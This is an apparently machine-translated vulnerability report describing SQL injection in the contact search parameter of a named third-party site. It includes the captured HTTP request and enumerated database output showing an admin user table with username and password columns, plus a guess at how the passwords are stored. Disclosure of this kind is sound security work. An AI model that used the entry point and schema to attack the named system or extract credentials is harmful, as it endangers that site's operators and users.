SQL injection vulnerability in a third-party sub-station in China

SQL injection vulnerability in a third-party sub-station in China

Network disconnection ...... Not going deep. Just repair it ~

Detailed description:

After registering a user, you can add a contact and then search for the injection. The packet capture is as follows:

GET/contact/list? SearchCondition = 1 HTTP/1.1

Host: agent.sfn.cn

Proxy-Connection: keep-alive

Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, image/webp, */*; q = 0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

Referer: http://agent.sfn.cn/contact/list? SearchCondition = 1

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh; q = 0.8

Cookie: the COOKIE is omitted.

Then we can inject:

Proof of vulnerability:

Database: sanfront

Table: adminUser

[11 columns]

+ ------------ + -------------- +

| Column | Type |

+ ------------ + -------------- +

| Company | varchar (100) |

| Department | int (11) |

| Email | varchar (40) |

| EntryDate | datetime |

| Id | int (10) |

| IsAudit | int (1) |

| Password | varchar (35) |

| Phone | varchar (20) |

| RealName | varchar (6) |

| Username | varchar (100) |

| WorkPhone | varchar (20) |

+ ------------ + -------------- +

Just note the following:

I guess the password is Base64-encrypted md5 bytes ...... =

Solution:

Just filter it out!